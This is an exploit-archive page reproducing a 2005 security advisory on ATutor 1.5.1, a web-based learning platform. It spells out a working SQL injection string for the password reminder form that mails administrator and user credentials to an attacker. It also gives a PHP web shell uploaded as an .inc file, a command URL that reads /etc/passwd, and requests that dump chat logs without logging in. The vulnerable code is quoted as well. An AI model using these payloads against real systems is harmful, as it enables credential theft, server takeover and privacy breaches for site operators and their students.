Advertisement






ATutor 1.5.1 SQL Injection / Admin credentials disclosure / remote code execution

CVE Category Price Severity
N/A CWE-89: Improper Neutralization of Special Elements used in an SQL Command N/A High
Author Risk Exploitation Type Date
Unknown Critical Remote 2005-10-05
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: http://cxsecurity.com/ascii/WLB-2005090007

Below is a copy:

ATUTOR 1.5.1 (possibly prior versions)
SQL INJECTION / ADMIN & USERS CREDENTIALS DISCLOSURE / INFORMATION DISCLOSURE /
USER IMPERSONATION / REMOTE CODE EXECUTION

software:

site: http://www.atutor.ca/

description: "ATutor is an Open Source Web-based Learning Content Management System (LCMS) designed with
accessibility and adaptability in mind. Administrators can install or update ATutor in minutes, and
develop custom templates to give ATutor a new look. Educators can quickly assemble, package, and redistribute
Web-based instructional content, easily retrieve and import prepackaged content, and conduct their courses online.
Students learn in an adaptive learning environment."

a) if magic_quotes_gpc is off in php.ini - > SQL INJECTION
   without to have an user account, you can use password remider to send yourself admin
   login & password, no need for exploit code:

go to http://[target]/[path]/password_reminder.php

and in the email field type:

' UNION SELECT login, password, 'your_email (at) domain (dot) com [email concealed]' FROM AT_admins /*

look at the vulnerable code in password_reminder.php:

...
   $sql="SELECT login, password, email FROM ".TABLE_PREFIX."members WHERE email='$_POST[form_email]'";
   $result = mysql_query($sql,$db);
if ($row = mysql_fetch_assoc($result)) {

$r_login = $row['login'];
$r_passwd= $row['password'];
$r_email = $row['email'];

$tmp_message  = _AT(array('password_request2',$_base_href))."nn";
$tmp_message .= _AT('web_site').' : '.$_base_href."n";
$tmp_message .= _AT('login_name').' : '.$r_login."n";
$tmp_message .= _AT('password').' : '.$r_passwd."n";

require(AT_INCLUDE_PATH . 'classes/phpmailer/atutormailer.class.php');

$mail = new ATutorMailer;

$mail->From     = EMAIL;
$mail->AddAddress($r_email);
$mail->Subject = SITE_NAME . ': ' . _AT('password_reminder');
$mail->Body    = $tmp_message;

if(!$mail->Send()) {
   //echo 'There was an error sending the message';
   $msg->printErrors('SENDING_ERROR');
   exit;
}

$msg->addFeedback('PASSWORD_SUCCESS');
   ...

$_POST[form_email] is not filtered in any way as you can see, so the query become:

SELECT login, password, email FROM AT_members WHERE email='' UNION SELECT login, password, 'your_email (at) domain (dot) com [email concealed]' FROM AT_admins /*'

/* are the Mysql comment chars so this is a valid query

$r_login and $r_passord are admin user & passord but $r_email is yours! ;)

also, you can have the password of any user typing:

' UNION SELECT login, password, 'your_email (at) domain (dot) com [email concealed]' FROM AT_members where login='user_whom_you_want_the_password' /*

if you want to see if your course server is vulnerable just type ' in email field, you will have an error like this:

Warning: mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource in
   [pathto]/password_reminder.php on line 27

if not, you will see a message like this:

The following errors occurred:
   * No account found with that email address.

b) after you have your stealed admin or educator account (yes, an educator can upload xecutable files :) )
   you can execute arbitrary commands on target system uploading an .inc file (this extension is not checked)
   with php code inside, example:

<?php error_reporting(0); system($HTTP_GET_VARS[cmd]; ?>

then you can launch commands, example:

http://[target]/[path]/atutor/content/2/cmd.inc?cmd=cat%20/etc/passwd

(usually upload dir is 'content' if admin do not change it, and subdir is numbered by the time registration
    of user, you can quickly bruteforce the url manually)

look at the list of illegal extensions in config.inc.php:

...
   /* Illegal file types, by extension. Include any extensions             */
   /* you do not want to allow for uploading. (Just the extention          */
   /* without the leading dot.)                                            */
   $IllegalExtentions = array('exe','asp','php','php3','bat','cgi','pl','com','vbs','reg','pcd',
'pif','scr','bas','inf','vb','vbe','wsc','wsf','wsh');
   ...

but where are .inc, .php4, .phtml, .html, .pwml and so on if you do not set?
   should be better to setup which kind of files you CAN upload...

c) without have an account a user can read chat conversation without to be logged in, making GET requests for
   chat temporary files:

example:
   http://[target]/[path]/atutor/content/chat/2/msgs/1.message
   http://[target]/[path]/atutor/content/chat/2/msgs/2.message
   http://[target]/[path]/atutor/content/chat/2/msgs/3.message

ciclyng this GET requests a user can dump all chat archive

rgod
site: http://rgod.altervista.org
mail: retrogod [at] aliceposta.it
original advisory: http://rgod.altervista.org/atutor151.html

Copyright ©2024 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.